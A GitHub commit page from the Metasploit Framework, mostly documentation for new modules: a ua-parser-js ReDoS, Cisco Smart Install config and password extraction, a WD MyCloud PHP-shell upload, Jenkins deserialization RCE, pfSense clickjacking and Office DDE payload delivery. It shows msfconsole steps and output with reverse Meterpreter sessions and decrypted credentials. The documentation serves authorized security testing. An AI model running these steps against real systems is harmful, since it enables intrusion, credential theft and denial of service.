Skip to content

Commit 6631ec6

Browse files
author
Tod Beardsley
committed
Merge remote-tracking branch 'upstream/master'
2 parents f18f90e + a33ed82 commit 6631ec6

File tree

27 files changed

+1696
-75
lines changed

27 files changed

+1696
-75
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.23)
4+
metasploit-framework (4.16.24)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -247,7 +247,7 @@ GEM
247247
rb-readline (0.5.5)
248248
rbnacl (4.0.2)
249249
ffi
250-
rbnacl-libsodium (1.0.15.1)
250+
rbnacl-libsodium (1.0.16)
251251
rbnacl (>= 3.0.1)
252252
recog (2.1.17)
253253
nokogiri
1.41 MB
Loading

data/exploits/pfsense_clickjacking/cookieconsent.min.css

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

data/exploits/pfsense_clickjacking/cookieconsent.min.js

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
4+
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
5+
Any application that uses a vulnerable version of this module and calls the `getOS`
6+
or `getResult` functions will be vulnerable to this module. An example server is provided
7+
below.
8+
9+
## How to Install
10+
11+
To install a vulnerable version of `ua-parser-js`, run:
12+
```
13+
14+
```
15+
16+
## Verification Steps
17+
18+
Example steps in this format (is also in the PR):
19+
20+
1. Create a new directory for test application.
21+
2. Copy below example server into test application directory as `server.js`.
22+
3. Run `npm i express` to install express in the test application directory.
23+
4. To test vulnerable versions of the module, run `npm i [email protected]` to install a vulnerable version of ua-parser-js.
24+
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
25+
6. Once all dependencies are installed, run the server with `node server.js`.
26+
7. Open up a new terminal.
27+
8. Start msfconsole.
28+
9. `use auxiliary/dos/http/ua_parser_js_redos`.
29+
10. `set RHOST [IP]`.
30+
11. `run`.
31+
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
32+
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
33+
34+
## Scenarios
35+
36+
### ua-parser-js npm module version 0.7.15
37+
38+
Expected output for successful exploitation:
39+
40+
```
41+
[*] Testing Service to make sure it is working.
42+
[*] Test request successful, attempting to send payload
43+
[*] Sending ReDoS request to 192.168.3.24:3000.
44+
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
45+
[*] Testing for service unresponsiveness.
46+
[+] Service not responding.
47+
[*] Auxiliary module execution completed
48+
```
49+
50+
### Example Vulnerable Application
51+
52+
```
53+
// npm i express
54+
// npm i [email protected] (vulnerable)
55+
// npm i ua-parser-js (non-vulnerable)
56+
57+
const express = require('express')
58+
const uaParser = require('ua-parser-js');
59+
const app = express()
60+
61+
app.get('/', (req, res) => {
62+
var parser = new uaParser(req.headers['user-agent']);
63+
res.end(JSON.stringify(parser.getResult()));
64+
});
65+
66+
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
67+
```

documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,28 @@
55
## Verification Steps
66

77
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
8-
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
8+
2. Do: ```set ACTION SCAN```
9+
3. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
910
3. Do: ```run```
1011
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
1112

13+
## Options
14+
15+
### SLEEP
16+
Time to wait for connection back from target. Default is `60` seconds if using `DOWNLOAD` action
17+
18+
### LHOST
19+
Address to bind to for TFTP server to accept connections if using `DOWNLOAD` action
20+
21+
## Actions
22+
There are two actions, default being ```SCAN```
23+
24+
1. **SCAN** - Scan for Smart Install endpoints. [Default]
25+
2. **DOWNLOAD** - Request devices configuration and send to our TFTP server
1226

1327
## Scenarios
1428

29+
Using the default `SCAN` action
1530
```
1631
msf auxiliary(cisco_smart_install) > run
1732
@@ -28,3 +43,19 @@ msf auxiliary(cisco_smart_install) > run
2843
[*] Scanned 512 of 512 hosts (100% complete)
2944
[*] Auxiliary module execution completed
3045
```
46+
47+
Using the `DOWNLOAD` action
48+
49+
```
50+
[*] 192.168.0.26:4786 - Starting TFTP Server...
51+
[+] 192.168.0.26:4786 - Fingerprinted the Cisco Smart Install protocol
52+
[*] 192.168.0.26:4786 - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
53+
[*] 192.168.0.26:4786 - Waiting 60 seconds for configuration
54+
[*] 192.168.0.26:4786 - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
55+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Decrypted Enable Password: testcase
56+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
57+
[*] 192.168.0.26:4786 - Providing some time for transfers to complete...
58+
[*] 192.168.0.26:4786 - Shutting down the TFTP service...
59+
[*] Scanned 1 of 1 hosts (100% complete)
60+
[*] Auxiliary module execution completed
61+
```
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
4+
5+
## Vulnerable Application
6+
7+
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
8+
9+
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
10+
11+
## Verification Steps
12+
13+
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
14+
2. Do: ```set RHOST [IP]```
15+
3. Do: ```check```
16+
4. It should be reported as vulnerable
17+
5. Do: ```run```
18+
6. You should get a shell
19+
20+
## Scenarios
21+
22+
```
23+
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
24+
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
25+
RHOST => 192.168.86.104
26+
msf exploit(wd_mycloud_multiupload_upload) > check
27+
[+] 192.168.86.104:80 The target is vulnerable.
28+
msf exploit(wd_mycloud_multiupload_upload) > run
29+
30+
[*] Started reverse TCP handler on 192.168.86.215:4444
31+
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
32+
[+] Uploaded PHP payload successfully.
33+
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
34+
[*] Sending stage (37543 bytes) to 192.168.86.104
35+
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
36+
[+] Deleted .7bc5NqFMK5.php
37+
38+
meterpreter > getuid
39+
Server username: root (0)
40+
```
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
2+
3+
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
4+
5+
## Vulnerable Application
6+
7+
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
8+
9+
Download Jenkins (Windows) < version 1.650 from here:
10+
http://mirrors.jenkins-ci.org/windows/
11+
12+
Windows Installation: Double click .msi
13+
14+
Download Jenkins LTS (Debian) < version 1.642.2 from here:
15+
https://pkg.jenkins.io/debian-stable/
16+
17+
Download Jenkins (Debian) < version 1.650 from here:
18+
https://pkg.jenkins.io/debian/
19+
20+
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
21+
22+
## Options
23+
24+
**TARGETURI**
25+
26+
The base path to Jenkins application `/` by default
27+
28+
**VHOST**
29+
30+
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
31+
32+
**The Check Command**
33+
34+
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
35+
36+
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
37+
38+
```
39+
set RHOST [IP]
40+
41+
set TARGETURI [path to Jenkins]
42+
```
43+
44+
```
45+
msf exploit(jenkins_xstream_deserialize) > check
46+
47+
[*] 192.168.1.64:8080 The target appears to be vulnerable..
48+
```
49+
50+
**Exploiting the Host**
51+
52+
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
53+
54+
```
55+
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
56+
RHOST => 192.168.1.37
57+
msf exploit(jenkins_xstream_deserialize) > set target 3
58+
target => 3
59+
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
60+
payload => windows/x64/meterpreter/reverse_tcp
61+
msf exploit(jenkins_xstream_deserialize) > exploit
62+
```
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
## Vulnerable Application
2+
3+
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
4+
5+
## Vulnerable Setup
6+
7+
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
8+
9+
## Verification Steps
10+
11+
1. `use exploit/unix/http/pfsense_clickjacking`
12+
2. `set TARGETURI https://<ip WebGUI>`
13+
3. `exploit`
14+
4. Browse to the URL returned by MSF
15+
5. Click anywhere on the returned page
16+
6. Note that a new Meterpreter sessions was started.
17+
18+
19+
## Options
20+
21+
**TARGETURI**
22+
23+
The base path of the WebGUI. The default base path is https://192.168.1.1/
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
2+
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
3+
4+
## Vulnerable Application
5+
All Microsoft Office versions
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
11+
3. Do: `set PAYLOAD [PAYLOAD]`
12+
4. Do: `run`
13+
14+
## Options
15+
### FILENAME
16+
Filename to output, whether injecting or generating a blank one
17+
18+
### INJECT_PATH
19+
Path to filename to inject
20+
21+
22+
## Example
23+
24+
```
25+
msf > use exploit/windows/fileformat/office_dde_delivery
26+
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
27+
FILENAME => /home/mumbai/file.rtf
28+
msf exploit(office_dde_delivery) > set LHOST ens3
29+
LHOST => ens3
30+
msf exploit(office_dde_delivery) > set LPORT 35116
31+
LPORT => 35116
32+
msf exploit(office_dde_delivery) > run
33+
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
34+
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
35+
[*] Server started.
36+
[*] Handling request for .sct from 192.168.0.24
37+
[*] Delivering payload to 192.168.0.24...
38+
[*] Sending stage (205379 bytes) to 192.168.0.24
39+
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
40+
41+
meterpreter > sysinfo
42+
Computer : TEST-PC
43+
OS : Windows 7 (Build 7601, Service Pack 1).
44+
Architecture : x64
45+
System Language : en_US
46+
Domain : WORKGROUP
47+
Logged On Users : 1
48+
Meterpreter : x64/windows
49+
meterpreter >
50+
```

0 commit comments

Comments
 (0)